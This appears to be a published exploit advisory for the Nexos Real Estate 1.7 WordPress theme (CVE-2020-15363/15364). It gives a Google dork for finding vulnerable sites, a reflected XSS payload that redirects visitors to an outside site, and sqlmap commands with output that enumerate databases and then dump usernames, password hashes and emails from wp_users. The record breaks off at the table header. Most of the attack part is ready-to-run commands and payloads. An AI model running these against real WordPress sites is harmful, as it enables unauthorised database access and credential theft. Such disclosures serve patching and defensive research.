WordPress Theme NexosReal Estate 1.7 - 'search_order' SQL Injection

# Exploit Title: WordPress Theme NexosReal Estate 1.7 - 'search_order' SQL Injection
# Google Dork: inurl:/wp-content/themes/nexos/
# Date: 2020-06-17
# Exploit Author: Vlad Vector
# Vendor: Sanljiljan [ https://themeforest.net/user/sanljiljan ]
# Software Version: 1.7
# Software Link: https://themeforest.net/item/nexos-real-estate-agency-directory/21126242
# Tested on: Debian 10
# CVE: CVE-2020-15363, CVE-2020-15364
# CWE: CWE-79, CWE-89



### [ Info: ]

[i] The Nexos theme through 1.7 for WordPress allows side-map/?search_order= SQL Injection.



### [ Vulnerabilities: ]

[x] Unauthenticated Reflected XSS
[x] SQL Injection



### [ PoC Unauthenticated Reflected XSS: ]

[!] TARGET/TARGET-DIR/top-map/?search_order=idlisting DESC&search_location="><img src=x onerror=alert(`VLΛDVΞCTOR`);window.location=`https://twitter.com/vlad_vector`%3E>

[!] GET /TARGET-DIR/top-map/?search_order=idlisting%20DESC&search_location=%22%3E%3Cimg%20src=x%20onerror=alert(`VL%CE%9BDV%CE%9ECTOR`);window.location=`https://twitter.com/vlad_vector`%3E%3E HTTP/1.1
Host: listing-themes.com



### [ PoC SQL Injection: ]

[!] sqlmap --url="TARGET/TARGET-DIR/side-map/?search_order=idlisting%20DESC" -dbs --random-agent --threads 4

[02:23:33] [INFO] the back-end DBMS is MySQL
[02:23:33] [INFO] fetching database names
[02:23:33] [INFO] fetching number of databases
[02:23:33] [INFO] resumed: 2
available databases [2]:
[*] geniuscr_nexos
[*] information_schema

[!] sqlmap --url="TARGET/TARGET-DIR/side-map/?search_order=idlisting%20DESC" -D geniuscr_nexos -T wp_users -C user_login,user_pass,user_email --random-agent --threads 8

Database: TARGET-DB
Table: wp_users
[9 entries]
+--------------+------------------------------------+-------------------------+